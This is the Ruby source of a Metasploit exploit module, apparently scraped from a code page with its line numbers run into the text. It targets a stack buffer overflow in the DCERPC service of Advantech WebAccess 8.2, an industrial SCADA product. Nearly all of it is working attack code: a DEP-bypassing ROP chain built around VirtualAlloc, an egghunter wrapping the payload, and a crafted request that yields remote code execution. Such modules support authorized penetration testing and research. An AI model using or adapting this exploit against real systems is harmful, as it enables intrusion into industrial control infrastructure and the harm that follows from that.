Path: blob/master/modules/exploits/windows/scada/advantech_webaccess_webvrpcs_bof.rb
19500 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote67Rank = GoodRanking89include Msf::Exploit::Remote::DCERPC10include Msf::Exploit::Egghunter1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'Advantech WebAccess Webvrpcs Service Opcode 80061 Stack Buffer Overflow',17'Description' => %q{18This module exploits a stack buffer overflow in Advantech WebAccess 8.2.19By sending a specially crafted DCERPC request, an attacker could overflow20the buffer and execute arbitrary code.21},22'Author' => [ 'mr_me <mr_me[at]offensive-security[dot]com>' ],23'License' => MSF_LICENSE,24'References' => [25[ 'ZDI', '17-938' ],26[ 'CVE', '2017-14016' ],27[ 'URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-17-306-02' ]28],29'Privileged' => true,30'DefaultOptions' => {31'EXITFUNC' => 'thread',32},33'Payload' => {34'Space' => 2048,35'BadChars' => "\x00",36},37'Platform' => 'win',38'Targets' => [39[40'Windows 7 x86 - Advantech WebAccess 8.2-2017.03.31',41{42'Ret' => 0x07036cdc, # pop ebx; add esp, 994; retn 0x1443'Slide' => 0x07048f5b, # retn44'Jmp' => 0x0706067e # pop ecx; pop ecx; ret 0x0445}46],47],48'DisclosureDate' => '2017-11-02',49'DefaultTarget' => 0,50'Notes' => {51'Reliability' => UNKNOWN_RELIABILITY,52'Stability' => UNKNOWN_STABILITY,53'SideEffects' => UNKNOWN_SIDE_EFFECTS54}55)56)57register_options([ Opt::RPORT(4592)])58end5960def create_rop_chain()61# this target opts into dep62rop_gadgets =63[640x020214c6, # POP EAX # RETN [BwKrlAPI.dll]650x0203a134, # ptr to &VirtualAlloc() [IAT BwKrlAPI.dll]660x02032fb4, # MOV EAX,DWORD PTR DS:[EAX] # RETN [BwKrlAPI.dll]670x070738ee, # XCHG EAX,ESI # RETN [BwPAlarm.dll]680x0201a646, # POP EBP # RETN [BwKrlAPI.dll]690x07024822, # & push esp # ret [BwPAlarm.dll]700x070442dd, # POP EAX # RETN [BwPAlarm.dll]710xffffffff, # Value to negate, will become 0x00000001720x070467d2, # NEG EAX # RETN [BwPAlarm.dll]730x0704de61, # PUSH EAX # ADD ESP,0C # POP EBX # RETN [BwPAlarm.dll]74rand_text_alpha(4).unpack('V'),75rand_text_alpha(4).unpack('V'),76rand_text_alpha(4).unpack('V'),770x02030af7, # POP EAX # RETN [BwKrlAPI.dll]780xfbdbcbd5, # put delta into eax (-> put 0x00001000 into edx)790x02029003, # ADD EAX,424442B # RETN [BwKrlAPI.dll]800x0201234a, # XCHG EAX,EDX # RETN [BwKrlAPI.dll]810x07078df5, # POP EAX # RETN [BwPAlarm.dll]820xffffffc0, # Value to negate, will become 0x00000040830x070467d2, # NEG EAX # RETN [BwPAlarm.dll]840x07011e60, # PUSH EAX # ADD AL,5B # POP ECX # RETN 0x08 [BwPAlarm.dll]850x0706fe66, # POP EDI # RETN [BwPAlarm.dll]86rand_text_alpha(4).unpack('V'),87rand_text_alpha(4).unpack('V'),880x0703d825, # RETN (ROP NOP) [BwPAlarm.dll]890x0202ca65, # POP EAX # RETN [BwKrlAPI.dll]900x90909090, # nop910x07048f5a, # PUSHAD # RETN [BwPAlarm.dll]92].flatten.pack("V*")93return rop_gadgets94end9596def exploit97connect98handle = dcerpc_handle('5d2b62aa-ee0a-4a95-91ae-b064fdb471fc', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']])99print_status("Binding to #{handle} ...")100dcerpc_bind(handle)101print_status("Bound to #{handle} ...")102103# send the request to get the handle104resp = dcerpc.call(0x4, [0x02000000].pack('V'))105handle = resp.last(4).unpack('V').first106print_good("Got a handle: 0x%08x" % handle)107egg_options = { :eggtag => "0day" }108egghunter, egg = generate_egghunter(payload.encoded, payload_badchars, egg_options)109110# apparently this is called a ret chain111overflow = [target['Slide']].pack('V')112overflow << [target['Slide']].pack('V')113overflow << [target['Slide']].pack('V')114overflow << [target['Slide']].pack('V')115overflow << [target['Slide']].pack('V')116overflow << [target['Slide']].pack('V')117overflow << [target['Jmp']].pack('V')118overflow << [target['Ret']].pack('V')119overflow << [target['Slide']].pack('V')120overflow << [target['Slide']].pack('V')121overflow << [target['Slide']].pack('V')122overflow << [target['Slide']].pack('V')123overflow << [target['Slide']].pack('V')124overflow << [target['Slide']].pack('V')125overflow << create_rop_chain()126overflow << egghunter127overflow << egg128overflow << rand_text_alpha(0x1000 - overflow.length)129130# sorry but I dont like msf's ndr class.131sploit = [handle].pack('V')132sploit << [0x000138bd].pack('V') # opcode we are attacking133sploit << [0x00001000].pack('V') # size to copy134sploit << [0x00001000].pack('V') # size of string135sploit << overflow136print_status("Trying target #{target.name}...")137begin138dcerpc_call(0x1, sploit)139rescue Rex::Proto::DCERPC::Exceptions::NoResponse140ensure141disconnect142end143handler144end145end146147148